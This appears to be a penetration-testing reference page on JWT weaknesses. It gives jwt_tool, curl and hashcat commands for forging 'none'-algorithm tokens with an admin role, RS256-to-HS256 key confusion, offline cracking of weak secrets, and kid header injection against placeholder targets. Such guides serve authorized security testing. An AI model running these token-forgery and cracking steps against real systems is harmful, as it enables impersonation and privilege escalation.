Skip to content
HackIndex logo

HackIndex

JWT Vulnerability Testing

2 min read Mar 28, 2026

JWT vulnerabilities allow forging tokens to impersonate other users or escalate privileges without valid credentials. Common weaknesses include accepting the none algorithm, algorithm confusion between RS256 and HS256, weak secrets that can be cracked, and injection in the kid header parameter. Collect a valid token first — from login, a cookie, or an Authorization header — then probe it. Confirmed weaknesses move to JWT exploitation.

Decode and Inspect the Token

Before testing, decode the token to understand its structure and claims:

┌──(kali㉿kali)-[~]
└─$ echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoidXNlciJ9.abc123' | cut -d. -f1,2 | tr '_-' '/+' | base64 -d 2>/dev/null | python3 -m json.tool
{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "user": "admin",
  "role": "user"
}
┌──(kali㉿kali)-[~]
└─$ jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoidXNlciJ9.abc123

None Algorithm Test

Some libraries accept tokens with alg: none and no signature. Create a modified token and test acceptance:

┌──(kali㉿kali)-[~]
└─$ jwt_tool $TOKEN -X a
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/api/profile -H "Authorization: Bearer $(jwt_tool $TOKEN -X a -pc role -pv admin 2>/dev/null | grep -oP 'eyJ[a-zA-Z0-9._-]+')"

Algorithm Confusion — RS256 to HS256

When the server uses RS256, the public key is sometimes accessible. If the library can be tricked into verifying an HS256 token using the public key as the HMAC secret, you can forge tokens with the public key:

┌──(kali㉿kali)-[~]
└─$ curl -sk https://$DOMAIN/.well-known/jwks.json | python3 -m json.tool
┌──(kali㉿kali)-[~]
└─$ jwt_tool $TOKEN -X k -pk public.pem

Weak Secret Brute Force

HS256 tokens signed with a weak secret can be cracked offline. Save the full token and attack the signature:

┌──(kali㉿kali)-[~]
└─$ hashcat -a 0 -m 16500 $TOKEN /usr/share/wordlists/rockyou.txt
eyJhbGci...:secret123
┌──(kali㉿kali)-[~]
└─$ jwt_tool $TOKEN -C -d /usr/share/wordlists/rockyou.txt

A cracked secret allows forging arbitrary tokens. Modify the role or user claim and resign with the recovered secret.

kid Header Injection

The kid header points to the key used for verification. Injecting a path traversal or SQL payload into kid can cause the server to use an attacker-controlled key or execute SQL:

┌──(kali㉿kali)-[~]
└─$ jwt_tool $TOKEN -I -hc kid -hv '/dev/null' -S hs256 -p ''

References